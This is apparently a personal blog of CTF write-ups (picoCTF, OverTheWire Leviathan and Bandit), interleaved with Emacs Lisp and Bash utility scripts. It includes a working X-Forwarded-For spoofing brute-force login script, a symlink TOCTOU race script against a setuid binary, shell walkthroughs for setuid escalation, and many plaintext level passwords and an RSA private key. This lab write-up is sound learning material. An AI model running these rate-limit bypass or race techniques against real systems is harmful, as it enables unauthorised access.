The brilliant—and elegant—idea of ChatGPT was to create a minor-mode in Emacs for just that: automatically enclose a word in tildes when applicable. The initial idea was to tilde every word Emacs recognizes as a command. I also told Emacs to tilde the words when they belonged to a special list: a list with filenames that are specific to the challenge at hand—they also must be enclosed in tildes.
This was fun, as I had the opportunity to work with file-local variables and learned a lot.
(defun my-mark-command-in-tilde ()
"Wrap shell commands in ~command~ when typed in Org, except inside src blocks.
Triggers on non-word characters like space, ., ,, etc."
(when (and (eq major-mode 'org-mode)
(not (org-in-src-block-p))
(not (eq last-command-event ?~)) ;; avoid recursion
(not (memq (char-syntax last-command-event) '(?w ?_)))) ;; not word/underscore
(save-excursion
;; Go to the start of the word.
(backward-word 1)
;; Deal with words with "extensions" (e.g., foo.bar).
(while (or (looking-back "\\w" 1)
(looking-back "\\." 1))
(backward-char))
(let ((start (point)))
(while (or (looking-at "\\w" 1)
(looking-at "\\." 1))
(forward-char))
(let* ((end (point))
(word (buffer-substring-no-properties start end))
(really-is-a-command
;; These commands could be just words; check with the user.
(if (member word (list "find" "file"))
(yes-or-no-p "command?")
t)))
(when
(and
(or (executable-find word)
;; Assets are filenames, usually defined with `assets' as
;; file-local variable.
(and (local-variable-p 'assets) (member word assets)))
really-is-a-command
(and (not (eq (char-before start) ?~))
(not (eq (char-after end) ?~))))
;; Replace word with ~word~
(undo-boundary)
(delete-region start end)
(insert (format "~%s~" word))
(undo-boundary)))))))
(define-minor-mode my-auto-mark-commands-mode
"Minor mode to auto-wrap shell commands in tildes (~) in Org buffers."
:lighter " ~Cmd~"
(if my-auto-mark-commands-mode
(add-hook 'post-self-insert-hook #'my-mark-command-in-tilde nil t)
(remove-hook 'post-self-insert-hook #'my-mark-command-in-tilde t)))
(add-hook 'org-mode-hook #'my-auto-mark-commands-mode)These past few days’ work on CTFs motivated me to start a simple blog to document them.
Here is my first blog post on Cybersecurity!.
Next steps include changing the theme for a more cyber-oriented :)
I made a tiny adaptation to a function to make the publishing process esier—it asks for a directory if called in a specific manner.
(defun my-org-jekyll-md-export-to-md (&optional arg async subtreep visible-only)
"Export current buffer to a Markdown file adding some YAML front matter."
(interactive "P")
(let ((outfile (concat
(when arg (concat (read-directory-name "dir: ") "/"))
(org-jekyll-md-filename-date)
(org-export-output-file-name ".md" subtreep))))
(org-export-to-file 'jekyll outfile async subtreep visible-only)))This little function may help a lot!
(define-skeleton blog-header
"Insert a header for blogging."
nil
"#+TITLE: " (read-string "title: ") \n
"#+DATE: " (format-time-string "%Y-%m-%d %R" (org-read-date t t)) \n
"#+JEKYLL_LAYOUT: post" \n
"#+JEKYLL_CATEGORIES: " (read-string "categories: ") \n
"#+JEKYLL_TAGS: " (read-string "tags: "))It seems I got to a point where I should automate some work—and do it fast—and go slow on some other work—and reflect about it.
Also, tired of the repetition.
Need to freshen up!
Today I finished the last Easy challenge they have. It was 81 in total. There are still two to solve, but they are under maintenance.
I also started the Medium level ones. They are somehow clearer than the Easy ones (maybe because they go deep on a specific detail of a subject).
Here’s the last one I solved:
We are given a link to a login page.
The instructions say:
- The login system has been upgraded with
- a basic rate-limiting mechanism that
- locks out
- repeated failed attempts
- from the same source.
- We’ve received a tip that
- the system might still trust
- user-controlled headers.
- Your objective is to
- bypass the rate-limiting restriction and
- log in using the known email address: ctf-player@picoctf.org and
- uncover the hidden secret.
We are also given the following Hints:
- What IP does the server think you’re coming from?
- Read more about X-forwarded-For.
- You can rotate fake IPs to bypass rate limits.
2>&1 wget https://challenge-files.picoctf.net/c_amiable_citadel/d168d254b68d30726076de06aab9b9b74c5470344ec974360f5a9045c6398b17/passwords.txt
Asset passwords.txt:
tkY83OwR vISQRFmM 471HtPne s8nXfR6X WoQEk5GL eu8z9EFn 0SMi2c8U WlHiKuw6 0iaXgUGR shNKoNrW KaqwDEUA eSqOLef7 CueFICmh MZZSJucZ eZQR9yx7 sPEIun6X p0fkX9cA CY1sEmC6 M707m17w 8thnKYYn
I tried to login via the web page once, and got the command below. Running it again here, using cURL.
2>&1 curl -v 'http://amiable-citadel.picoctf.net:57381/login' \
-X POST \
-H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:143.0) Gecko/20100101 Firefox/143.0' \
-H 'Accept: */*' \
-H 'Accept-Language: en-US,en;q=0.5' \
-H 'Accept-Encoding: gzip, deflate' \
-H 'Referer: http://amiable-citadel.picoctf.net:57381/' \
-H 'Content-Type: application/json' \
-H 'Origin: http://amiable-citadel.picoctf.net:57381' \
-H 'Connection: keep-alive' \
-H 'Priority: u=0' \
--data-raw '{"email":"ctf-player@picoctf.org","password":"whatever"}'
It applied the rate-limiting.
Now trying again, using the header X-Forwarded-For to spoof my IP.
2>&1 curl -v 'http://amiable-citadel.picoctf.net:57381/login' \
-X POST \
-H 'X-Forwarded-For: 1.2.3.4' \
-H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:143.0) Gecko/20100101 Firefox/143.0' \
-H 'Accept: */*' \
-H 'Accept-Language: en-US,en;q=0.5' \
-H 'Accept-Encoding: gzip, deflate' \
-H 'Referer: http://amiable-citadel.picoctf.net:57381/' \
-H 'Content-Type: application/json' \
-H 'Origin: http://amiable-citadel.picoctf.net:57381' \
-H 'Connection: keep-alive' \
-H 'Priority: u=0' \
--data-raw '{"email":"ctf-player@picoctf.org","password":"whatever"}'
It did not apply the rate-limiting!
login.sh ≡
#!/bin/bash
# Part of the IP that will change for each request
I=1
cat passwords.txt | \
while read PWD
do
# Get a new IP
2>&1 curl -v 'http://amiable-citadel.picoctf.net:57780/login' \
-X POST \
-H 'X-Forwarded-For: 1.2.3.'$I \
-H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:143.0) Gecko/20100101 Firefox/143.0' \
-H 'Accept: */*' \
-H 'Accept-Language: en-US,en;q=0.5' \
-H 'Accept-Encoding: gzip, deflate' \
-H 'Referer: http://amiable-citadel.picoctf.net:57381/' \
-H 'Content-Type: application/json' \
-H 'Origin: http://amiable-citadel.picoctf.net:57381' \
-H 'Connection: keep-alive' \
-H 'Priority: u=0' \
--data-raw '{"email":"ctf-player@picoctf.org","password":"'$PWD'"}'
# Change a part of the IP for the next request
I=$(( $I + 1 ))
done
picoCTF{xff_byp4ss_brut3_1cc3b76e}
Worked on more challenges today. Made it a point of creating tools in Emacs to make it easier. Weakest link is emotional regulation: I get anxious too easy, too fast, and this really clouds my thinking, and makes it more difficult to work on ergonomy and posture.
Took a step back, and worked on fundamentals, and also cleared my mind. It paid off: could solve yesterday’s “humbling” challenge and some more today.
Tough day today.
Took a beating on two CTFs; one expected, and the other humbling…
I may have spent more time than I should have “sharpening this axe”… Anyway, need a command-line Pomodoro?
#!/bin/bash
ME=$(basename $0)
if [ $# -eq 1 ] && ( [ $1 == "-h" ] || [ $1 == "--help" ] )
then
echo "Usage: $ME [POPUP_NOTIFICATION [OSD_COUNTDOWN [TITLE]]]
POPUP_NOTIFICATION (boolean; default: \"false\")
Controls if a popup will be shown when time is up.
OSD_COUNTDOWN (boolean; default: \"true\")
Controls if the countdown will be show on screen (using OSD).
TITLE (string; default: \"Pomodoro\")
is the headliner of the popup notification.
Boolean values should be \"true\" or \"false\"."
exit 0
fi
[ $# -ge 1 ] && POPUP_NOTIFICATION=$1 || POPUP_NOTIFICATION=false
[ $# -ge 2 ] && OSD_COUNTDOWN=$2 || OSD_COUNTDOWN=true
[ $# -ge 3 ] && TITLE=$3 || TITLE="Pomodoro"
BIG_INTERVAL="25m"
SHORT_INTERVAL="5m"
TIMER_ARGS="$TITLE $POPUP_NOTIFICATION $OSD_COUNTDOWN"
while [ true ]
do
timer $BIG_INTERVAL $TIMER_ARGS
timer $SHORT_INTERVAL $TIMER_ARGS
done#!/bin/bash
ME=$(basename $0)
USAGE="Usage: $ME TIME_AMOUNT [TITLE [POPUP_NOTIFICATION [OSD_COUNTDOWN]]]
TITLE (string; default: \"Pomodoro\")
is the headliner of the popup notification.
POPUP_NOTIFICATION (boolean; default: \"false\")
Controls if a popup will be shown when time is up.
OSD_COUNTDOWN (boolean; default: \"true\")
Controls if the countdown will be show on screen (using OSD).
Boolean values should be \"true\" or \"false\"."
if [ $1 == "-h" ] || [ $1 == "--help" ]
then
echo "$USAGE"
exit 0
fi
die () {
echo >&2 "$@"
exit 1
}
[ $# -ge 1 ] && TIME=$1 || die $USAGE
[ $# -ge 2 ] && TITLE=$2 || TITLE="Timer"
[ $# -ge 3 ] && POPUP_NOTIFICATION=$3
[ $# -ge 4 ] && OSD_COUNTDOWN=$4
OSD_CAT_FLAGS='--pos=top --align=right --delay=60 --shadow=3 --outline=0 --outlinecolour=black --color=cyan --font=-misc-fixed-medium-r-normal--75-*-*-*-*-*-*'
# Determine the unit for the time (minutes or seconds, default to minutes)
UNIT=${TIME: -1}
if [[ $UNIT = @(m|s) ]];
then
DIGITS=${TIME::-1}
else
UNIT=m
DIGITS=$TIME
fi
for TIC in $(seq ${DIGITS} -1 1);
do
# Display remaining time on the terminal
echo Remaining: $TIC$UNIT
# Display remaining time via OSD
if $OSD_COUNTDOWN
then
echo "${TIC}${UNIT}" | osd_cat $OSD_CAT_FLAGS &
fi
sleep 1$UNIT
done
# Pop-up notification at the end of the timer
if $POPUP_NOTIFICATION
then
notify-send --urgency=critical \
--expire-time=0 \
"$TITLE" \
"Time ($TIME) is up."
fi
# Give an audible cue that the timer is done
ding#!/bin/bash
mocp --play /usr/share/sounds/freedesktop/stereo/complete.ogaStudied the Box Model. This time with exercises: much better.
Back to overthewire. picoCTF helped. It fealt really easier today. picoCTF teaches things like how to use gdb. I could think of many different approaches today because of that.
Finished Leviathan \o/ Loved the challenges!
f0n8h2iWLP
- setuid binary in home folder
ltraceshowed a call tostrcmpwith the payload- input payload gives setuid shell
leviathan3@leviathan:~$ ltrace ./level3
fgets(Enter the password> snlprintf
"snlprintf\n", 256, 0xf7fae5c0) = 0xffffd24c
strcmp("snlprintf\n", "snlprintf\n") = 0
puts("[You've got shell]!"[You've got shell]!
leviathan3@leviathan:~$ ./level3
Enter the password> snlprintf
[You've got shell]!
$ id
uid=12004(leviathan4) gid=12003(leviathan3) groups=12003(leviathan3)
$ cat /etc/leviathan_pass/leviathan4
WG1egElCvO
leviathan4@leviathan:~$ ll total 24 drwxr-xr-x 3 root root 4096 Oct 14 09:27 ./ drwxr-xr-x 150 root root 4096 Oct 14 09:29 ../ -rw-r--r-- 1 root root 220 Mar 31 2024 .bash_logout -rw-r--r-- 1 root root 3851 Oct 14 09:19 .bashrc -rw-r--r-- 1 root root 807 Mar 31 2024 .profile dr-xr-x--- 2 root leviathan4 4096 Oct 14 09:27 .trash/ leviathan4@leviathan:~$ find .trash/ .trash/ .trash/bin leviathan4@leviathan:~$ cd .trash/ leviathan4@leviathan:~/.trash$ ll total 24 dr-xr-x--- 2 root leviathan4 4096 Oct 14 09:27 ./ drwxr-xr-x 3 root root 4096 Oct 14 09:27 ../ -r-sr-x--- 1 leviathan5 leviathan4 14940 Oct 14 09:27 bin* leviathan4@leviathan:~/.trash$ file bin bin: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=52e379ac2e364243895250cb84038a8bf5d3e4e5, for GNU/Linux 3.2.0, not stripped leviathan4@leviathan:~/.trash$ ./bin 00110000 01100100 01111001 01111000 01010100 00110111 01000110 00110100 01010001 01000100 00001010
There’s a binary that prints a binary sequence. Converted to ASCII, it give the next password.
0dyxT7F4QD
There is a setuid binary in the home folder.
leviathan5@leviathan:~$ ./leviathan5 Cannot find /tmp/file.log
It wants a file.
leviathan5@leviathan:~$ echo "abcdefg" > /tmp/file.log leviathan5@leviathan:~$ ./leviathan5 abcdefg
It spills out that file’s contents.
leviathan5@leviathan:~$ ln -s /etc/leviathan_pass/leviathan6 /tmp/file.log leviathan5@leviathan:~$ ./leviathan5 szo7HDB88w
szo7HDB88w
leviathan6@leviathan:~$ gdb --args ./leviathan6 1234After disassemble main, I could see there’s a comparison followed by jne.
=> 0x0804921a <+84>: cmp %eax,-0xc(%ebp) 0x0804921d <+87>: jne 0x804924a <main+132>
Maybe it’s here they’re testing the input for equality.
Examining the registers
(gdb) info registers eax 0x4d2 1234 ebp 0xffffd368 0xffffd368
eaxhas the inputebphas a memory address- the comparison offsets that address by
0xc
- the comparison offsets that address by
Examining the contents of that piece of memory:
(gdb) x $ebp-0xc 0xffffd35c: 0x00001bd3
0x1bd3 == 7123
leviathan6@leviathan:~$ ./leviathan6 7123 $ id uid=12007(leviathan7) gid=12006(leviathan6) groups=12006(leviathan6) $ cat /etc/leviathan_pass/leviathan7 qEs5Io5yM8
qEs5Io5yM8
leviathan7@leviathan:~$ ll total 24 drwxr-xr-x 2 root root 4096 Oct 14 09:27 ./ drwxr-xr-x 150 root root 4096 Oct 14 09:29 ../ -rw-r--r-- 1 root root 220 Mar 31 2024 .bash_logout -rw-r--r-- 1 root root 3851 Oct 14 09:19 .bashrc -r--r----- 1 leviathan7 leviathan7 178 Oct 14 09:27 CONGRATULATIONS -rw-r--r-- 1 root root 807 Mar 31 2024 .profile
The slope got steep at overthewire.org. Went to picoCTF for some structured intro. Today I read the Primer and worked on some playlists:
- The Beginner’s Guide to the picoGym: 25/25
- Cryptography and picoGym Learning Intro 1/15
- Low Level Binary Intro 38/46
- Forensics in CTF’s 6/17
- Python in CTF’s 13/19
- Vault Door Series 1/8
- Sleuthkit Series 2/2
- PW Crack Series 5/5
Some bit scrubbing (these last days) and today!
Leviathan’s levels are called leviathan0, leviathan1, … etc. and can be accessed on
leviathan.labs.overthewire.org through SSH on port 2223.
To login to the first level use:
Username: leviathan0 Password: leviathan0
Data for the levels can be found in the homedirectories. You can look at /etc/leviathan_pass for the various level passwords.
(defun hack-ctf-overthewire-dot-org-leviathan-ssh-command
(arg user password)
"Read USER and PASSWORD then return complete ssh command.
When ARG in non-nil do not use comman `sshpass' to automatically
send PASSWORD to `ssh'. Apparently the first connection must be
established the old way."
(interactive
(list
current-prefix-arg
(read-string "user: "
"leviathan" ;; challenge's prefix
hack-ctf-user-history)
(read-string "password: " nil
hack-ctf-password-history)))
(let* ((challenge-subdomain "leviathan")
(challenge-port "2223")
(url (concat challenge-subdomain ".labs.overthewire.org"))
(ssh-command (concat
(unless arg (concat "sshpass -p " password " "))
"ssh " url
" -p " challenge-port
" -l " user)))
(kill-new ssh-command)
(message "hack-ctf: ssh command copied to clipboard")
(sleep-for 2)
(if (and arg (yes-or-no-p "copy password to clipboard now?"))
(kill-new password))))
(keymap-local-set "C-. C-."
'hack-ctf-overthewire-dot-org-leviathan-ssh-command)leviathan0
leviathan0@leviathan:~/.backup$ cat bookmarks.html
<DT><A HREF="http://leviathan.labs.overthewire.org/passwordus.html | This will be fixed later, the password for leviathan1 is 3QJ3TgzHDq" ADD_DATE="1155384634" LAST_CHARSET="ISO-8859-1" ID="rdf:#$2wIU71">password to leviathan1</A>
3QJ3TgzHDq
leviathan1@leviathan:~$ ll total 36 drwxr-xr-x 2 root root 4096 Aug 15 13:17 ./ drwxr-xr-x 150 root root 4096 Aug 15 13:18 ../ -rw-r--r-- 1 root root 220 Mar 31 2024 .bash_logout -rw-r--r-- 1 root root 3851 Aug 15 13:09 .bashrc -r-sr-x--- 1 leviathan2 leviathan1 15084 Aug 15 13:17 check* -rw-r--r-- 1 root root 807 Mar 31 2024 .profile
leviathan1@leviathan:~$ ltrace ./check
__libc_start_main(0x80490ed, 1, 0xffffd464, 0 <unfinished ...>
printf("password: ") = 10
getchar(0, 0, 0x786573, 0x646f67password: sex
) = 115
getchar(0, 115, 0x786573, 0x646f67) = 101
getchar(0, 0x6573, 0x786573, 0x646f67) = 120
strcmp("sex", "sex") = 0
geteuid() = 12001
geteuid() = 12001
setreuid(12001, 12001) = 0
system("/bin/sh"$
$ cat /etc/leviathan_pass/leviathan2
cat: /etc/leviathan_pass/leviathan2: Permission denied
$ whoami
leviathan1
$ id
uid=12001(leviathan1) gid=12001(leviathan1) groups=12001(leviathan1)
$ pwd
/home/leviathan1
$ ./check
password: sex
$ id
uid=12002(leviathan2) gid=12001(leviathan1) groups=12001(leviathan1)
$ cat /etc/leviathan_pass/leviathan2
NsN1HwFoyN
If I run it without ltrace, it does not drop privileges.
leviathan1@leviathan:~$ ltrace ./check <------------------------------------------------------------------------------------------------------------- WITH LTRACE
__libc_start_main(0x80490ed, 1, 0xffffd464, 0 <unfinished ...>
printf("password: ") = 10
getchar(0, 0, 0x786573, 0x646f67password: sex
) = 115
getchar(0, 115, 0x786573, 0x646f67) = 101
getchar(0, 0x6573, 0x786573, 0x646f67) = 120
strcmp("sex", "sex") = 0
geteuid() = 12001
geteuid() = 12001
setreuid(12001, 12001) = 0
system("/bin/sh"$ id
uid=12001(leviathan1) gid=12001(leviathan1) groups=12001(leviathan1) <------------------------------------------------------------------------------- DROPPED PRIVILEGES
$ ltrace ./check
__libc_start_main(0x80490ed, 1, 0xffffd474, 0 <unfinished ...>
printf("password: ") = 10
getchar(0, 0, 0x786573, 0x646f67password: sex
) = 115
getchar(0, 115, 0x786573, 0x646f67) = 101
getchar(0, 0x6573, 0x786573, 0x646f67) = 120
strcmp("sex", "sex") = 0
geteuid() = 12001
geteuid() = 12001
setreuid(12001, 12001) = 0
system("/bin/sh"$ id
uid=12001(leviathan1) gid=12001(leviathan1) groups=12001(leviathan1)
$ ./check
password: sex
$ id
uid=12002(leviathan2) gid=12001(leviathan1) groups=12001(leviathan1)
$
$
<no return ...>
--- SIGCHLD (Child exited) ---
<... system resumed> ) = 0
+++ exited (status 0) +++
$ id
uid=12001(leviathan1) gid=12001(leviathan1) groups=12001(leviathan1)
$
<no return ...>
--- SIGCHLD (Child exited) ---
<... system resumed> ) = 0
+++ exited (status 0) +++
leviathan1@leviathan:~$ ./check
password: sex
$ id
uid=12002(leviathan2) gid=12001(leviathan1) groups=12001(leviathan1)
NsN1HwFoyN
leviathan2@leviathan:~$ ltrace ./printfile .profile
__libc_start_main(0x80490ed, 2, 0xffffd454, 0 <unfinished ...>
access(".profile", 4) = 0
snprintf("/bin/cat .profile", 511, "/bin/cat %s", ".profile") = 17
geteuid() = 12002
geteuid() = 12002
setreuid(12002, 12002) = 0
system("/bin/cat .profile"# ~/.profile: executed by the command interpreter for login shells.
# This file is not read by bash(1), if ~/.bash_profile or ~/.bash_login
# exists.
# see /usr/share/doc/bash/examples/startup-files for examples.
# the files are located in the bash-doc package.
# the default umask is set in /etc/profile; for setting the umask
# for ssh logins, install and configure the libpam-umask package.
#umask 022
# if running bash
if [ -n "$BASH_VERSION" ]; then
# include .bashrc if it exists
if [ -f "$HOME/.bashrc" ]; then
. "$HOME/.bashrc"
fi
fi
# set PATH so it includes user's private bin if it exists
if [ -d "$HOME/bin" ] ; then
PATH="$HOME/bin:$PATH"
fi
# set PATH so it includes user's private bin if it exists
if [ -d "$HOME/.local/bin" ] ; then
PATH="$HOME/.local/bin:$PATH"
fi
<no return ...>
--- SIGCHLD (Child exited) ---
<... system resumed> ) = 0
+++ exited (status 0) +++
Previous one:
strcmp("sex", "sex") = 0
geteuid() = 12001
geteuid() = 12001
setreuid(12001, 12001) = 0
system("/bin/sh"$ id
This one:
access(".profile", 4) = 0
snprintf("/bin/cat .profile", 511, "/bin/cat %s", ".profile") = 17
geteuid() = 12002
geteuid() = 12002
setreuid(12002, 12002) = 0
system("/bin/cat .profile"# ~/.profile: executed by the command interpreter for login shells.
leviathan2@leviathan:~$ ./printfile /etc/leviathan_pass/leviathan3 You cant have that file...
leviathan2@leviathan:~$ export PATH=""
leviathan2@leviathan:~$ ./printfile .profile
# ~/.profile: executed by the command interpreter for login shells.
# This file is not read by bash(1), if ~/.bash_profile or ~/.bash_login
# exists.
# see /usr/share/doc/bash/examples/startup-files for examples.
# the files are located in the bash-doc package.
# the default umask is set in /etc/profile; for setting the umask
# for ssh logins, install and configure the libpam-umask package.
#umask 022
# if running bash
if [ -n "$BASH_VERSION" ]; then
# include .bashrc if it exists
if [ -f "$HOME/.bashrc" ]; then
. "$HOME/.bashrc"
fi
fi
# set PATH so it includes user's private bin if it exists
if [ -d "$HOME/bin" ] ; then
PATH="$HOME/bin:$PATH"
fi
# set PATH so it includes user's private bin if it exists
if [ -d "$HOME/.local/bin" ] ; then
PATH="$HOME/.local/bin:$PATH"
fi
#!/bin/bash
LEV=/etc/leviathan_pass/leviathan
LEV2=${LEV}2
LEV3=${LEV}3
L=/tmp/chaves-L
PRINTFILE=/home/leviathan2/printfile
ln -sf $LEV2 $L
$PRINTFILE $L &
ln -sf $LEV3
leviathan2@leviathan:~$ vi /tmp/chaves.sh --- #!/bin/bash ln -sf /etc/leviathan_pass/leviathan2 /tmp/chaves-L /home/leviathan2/printfile /tmp/chaves-L & ln -sf /etc/leviathan_pass/leviathan3 /tmp/chaves-L --- leviathan2@leviathan:~$ /tmp/chaves.sh leviathan2@leviathan:~$ f0n8h2iWLP
#!/bin/bash # deterministic TOCTOU flipper for CTF practice only GOOD="/home/leviathan2/.profile" # a file RUID can read (replace with real file) SECRET="/etc/leviathan_pass/leviathan3" # the secret you want printed LINK="/tmp/chaves-L" BINARY="/home/leviathan2/printfile" # the setuid binary that does: check ACCESS then exec cat LINK # make sure the link starts pointing to the readable file ln -sf "$GOOD" "$LINK" # start the target program in the background and capture its PID "$BINARY" "$LINK" & TARGET_PID=$! # while the target is still alive, keep flipping the symlink while kill -0 "$TARGET_PID" 2>/dev/null; do ln -sf "$GOOD" "$LINK" ln -sf "$SECRET" "$LINK" done # wait for the target to finish and print exit status wait "$TARGET_PID" echo "target exited with $?"
leviathan2@leviathan:~$ /tmp/chaves.sh f0n8h2iWLP target exited with 0
A secure program that needs to both check a user’s rights and open/use a file under another UID must avoid TOCTOU by not using separate pathname checks. Secure patterns include:
Open then verify using the opened descriptor
fd = open(path, O_RDONLY|O_NOFOLLOW);
fstat(fd, &st); Verify ownership/permissions on fd (not on path). Use fchmod/fchown/check st fields as needed. Because operations act on the already-opened descriptor, the target cannot be swapped by a symlink after open.
Use file-descriptor-based operations instead of re-resolving the pathname later (fexecve / run with fd or read from fd directly). That prevents lookup at time-of-use.
Avoid access() for security checks, because it checks current real/effective permissions against the filename and is vulnerable to TOCTOU. If the program needs to verify permissions, open the file (with the minimum privileges) and operate on the returned descriptor.
Drop privileges safely: if the program must switch to EUID to read something privileged, handle UID transitions carefully:
Temporarily set effective UID to the one that should do the check, open/lock the file descriptor, then set EUID to the other identity and use the already-open FD.
Use O_NOFOLLOW to prevent symlink abuse where appropriate.
Use kernel-level protections if available: openat2() with RESOLVE_NO_SYMLINKS (newer kernels) or seccomp / file capabilities to narrow attack surface.
In short: do the check and the use on the same resolved kernel object (the same FD), and do not re-resolve the pathname.
f0n8h2iWLP
ZjLjTmM6FvvyRnrb2rfNWOZOTa6ip5If
263JGJPfgU6LtdEvgfWU1XP5yac29mFx
MNk8KNH3Usiio41PRUEoDFPqfxLPlSmx
2WmrDFRmJIq3IPxneAaMGhap0pFhF3NJ
4oQYVPkxZOOEOO5pTW81FB8j8lxXGUQw
Preciso achar um arquivo:
- human-readable
- 1033 bytes in size
- not executable
Será que o comando find dá isso?
find . -type f -size 1033c -exec cat {} +HWasnPhtq9AVKe0dmk45nxy20cvUa6EG
file that:
- owned by user bandit7
- owned by group bandit6
- 33 bytes in size
find / 2>/dev/null -user bandit7 -group bandit6 -size 33c -exec cat {} \;morbNTDkSW6jIlUc0ymOdMaLnOlFVAaj
dfwvzFQi4mU0wfNbFOe9RoWskMLg7eEc
4CKMh1JI91bUIZZPXDqGanal4xvAg0JM
strings data.txt
FGUW5ilLVJrxX9kMYMmlN4MgbpfMiqey
Nesse tem uma string codificada em base64.
base64 -d data.txtdtR173fZKb0RRsDFSGsg2RWnpNVj3qRr
Nesse rotacionaram as letras em 13 posições.
Essa é uma cifra conhecida já, a tal da ROT13. 26 letras no falnalabeto: f == f-1. ROT13 é sua própria inversa.
tr 'A-Za-z' 'N-ZA-Mn-za-m' < data.txt7x16WNeHIi5YkIhWsfFIqoognUTyj9Q4
Agora brotou um hexdump em plain text. They tell it’s a file that was compressed multiple times.
I need to get the file that generated that hexdump. This can be done with:
xxd -r data.txtAí foi uma cascata de uncompressing in several formats (bz2, gz, tar).
FO5dwFsc0cbaIiH0h8J2eUks2vdTDwAn
The password for the next level is stored in /etc/bandit_pass/bandit14 and can only be read by user bandit14.
For this level, you don’t get the next password, but you get a private SSH key that can be used to log into the next level.
Note: localhost is a hostname that refers to the machine you are working on
- I copied the contents of the bandit14’s private key that was in the home directory.
- Then I renamed it to
id_rsa. - Then
ssh bandit.labs.overthewire.org -p 2220 -i ~/.ssh/id_rsa_overthewire.org-bandit14-private-key -l bandit14The password for the next level can be retrieved by submitting the password of the current level to port 30000 on localhost.
I got the pass from the folder mentioned in the previous Bandit: MU4VWeTyJk8ROof1qqmcBPaLh7lDCPvS
I want to send that string (those bytes) to localhost on port 30000.
After readin man telnet.
telnet localhost 30000This opens a connection, and I can input text. I typed the password, ENTER, and voilà:
8xCjnmgoKbGLhHFAZlGE5Tmu4M2tKJQo
The password for the next level can be retrieved by submitting the password of the current level to port 30001 on localhost using SSL/TLS encryption.
I connected to the server/port using openssl.
It’s the same procedure as the telnet, but Secure®.
openssl s_client -crlf -connect localhost:30001kSkvUpMQ7lBYyCM4GBPvCvT1BfWRy0Dx
The credentials for the next level can be retrieved by submitting the password of the current level to a port on localhost in the range 31000 to 32000. First find out which of these ports have a server listening on them. Then find out which of those speak SSL/TLS and which don’t. There is only 1 server that will give the next credentials, the others will simply send back to you whatever you send to it.
bandit16@bandit:~$ nmap -p 31000-32000 localhost Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-10-11 00:02 UTC Nmap scan report for localhost (127.0.0.1) Host is up (0.00010s latency). Not shown: 996 closed tcp ports (conn-refused) PORT STATE SERVICE 31046/tcp open unknown 31518/tcp open unknown 31691/tcp open unknown 31790/tcp open unknown 31960/tcp open unknown
for p in 31046 31518 31691 31790 31960; do openssl s_client -crlf -connect localhost:$p; done;Testing connection:
| 31046 | Secure Renegotiation IS NOT supported |
| 31518 | |
| 31691 | |
| 31790 | |
| 31960 |
I was having a problem:
Extended master secret: no
Max Early Data: 0
---
read R BLOCK
kSkvUpMQ7lBYyCM4GBPvCvT1BfWRy0Dx <---- sent the current passwor
KEYUPDATE <---- received this message
This happened because the sent data started with a k, that has a meaning in the interactive session.
This answer on Stackoverflow suggests to avoid using the interactive session with ign_eof:
for p in 31046 31518 31691 31790 31960; do openssl s_client -ign_eof -crlf -connect localhost:$p; done;The correct one was:
openssl s_client -ign_eof -crlf -connect localhost:31790Got a private key :)
-----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEAvmOkuifmMg6HL2YPIOjon6iWfbp7c3jx34YkYWqUH57SUdyJ
imZzeyGC0gtZPGujUSxiJSWI/oTqexh+cAMTSMlOJf7+BrJObArnxd9Y7YT2bRPQ
Ja6Lzb558YW3FZl87ORiO+rW4LCDCNd2lUvLE/GL2GWyuKN0K5iCd5TbtJzEkQTu
DSt2mcNn4rhAL+JFr56o4T6z8WWAW18BR6yGrMq7Q/kALHYW3OekePQAzL0VUYbW
JGTi65CxbCnzc/w4+mqQyvmzpWtMAzJTzAzQxNbkR2MBGySxDLrjg0LWN6sK7wNX
x0YVztz/zbIkPjfkU1jHS+9EbVNj+D1XFOJuaQIDAQABAoIBABagpxpM1aoLWfvD
KHcj10nqcoBc4oE11aFYQwik7xfW+24pRNuDE6SFthOar69jp5RlLwD1NhPx3iBl
J9nOM8OJ0VToum43UOS8YxF8WwhXriYGnc1sskbwpXOUDc9uX4+UESzH22P29ovd
d8WErY0gPxun8pbJLmxkAtWNhpMvfe0050vk9TL5wqbu9AlbssgTcCXkMQnPw9nC
YNN6DDP2lbcBrvgT9YCNL6C+ZKufD52yOQ9qOkwFTEQpjtF4uNtJom+asvlpmS8A
vLY9r60wYSvmZhNqBUrj7lyCtXMIu1kkd4w7F77k+DjHoAXyxcUp1DGL51sOmama
+TOWWgECgYEA8JtPxP0GRJ+IQkX262jM3dEIkza8ky5moIwUqYdsx0NxHgRRhORT
8c8hAuRBb2G82so8vUHk/fur85OEfc9TncnCY2crpoqsghifKLxrLgtT+qDpfZnx
SatLdt8GfQ85yA7hnWWJ2MxF3NaeSDm75Lsm+tBbAiyc9P2jGRNtMSkCgYEAypHd
HCctNi/FwjulhttFx/rHYKhLidZDFYeiE/v45bN4yFm8x7R/b0iE7KaszX+Exdvt
SghaTdcG0Knyw1bpJVyusavPzpaJMjdJ6tcFhVAbAjm7enCIvGCSx+X3l5SiWg0A
R57hJglezIiVjv3aGwHwvlZvtszK6zV6oXFAu0ECgYAbjo46T4hyP5tJi93V5HDi
Ttiek7xRVxUl+iU7rWkGAXFpMLFteQEsRr7PJ/lemmEY5eTDAFMLy9FL2m9oQWCg
R8VdwSk8r9FGLS+9aKcV5PI/WEKlwgXinB3OhYimtiG2Cg5JCqIZFHxD6MjEGOiu
L8ktHMPvodBwNsSBULpG0QKBgBAplTfC1HOnWiMGOU3KPwYWt0O6CdTkmJOmL8Ni
blh9elyZ9FsGxsgtRBXRsqXuz7wtsQAgLHxbdLq/ZJQ7YfzOKU4ZxEnabvXnvWkU
YOdjHdSOoKvDQNWu6ucyLRAWFuISeXw9a/9p7ftpxm0TSgyvmfLF2MIAEwyzRqaM
77pBAoGAMmjmIJdjp+Ez8duyn3ieo36yrttF5NSsJLAbxFpdlc1gvtGCWW+9Cq0b
dxviW8+TFVEBl1O4f7HVm6EpTscdDxU+bCXWkfjuRb7Dy9GOtt9JPsX8MBTakzh3
vBgsyi/sN3RqRBcGU40fOoZyfAMT8s1m/uYv52O6IgeuZ/ujbjY=
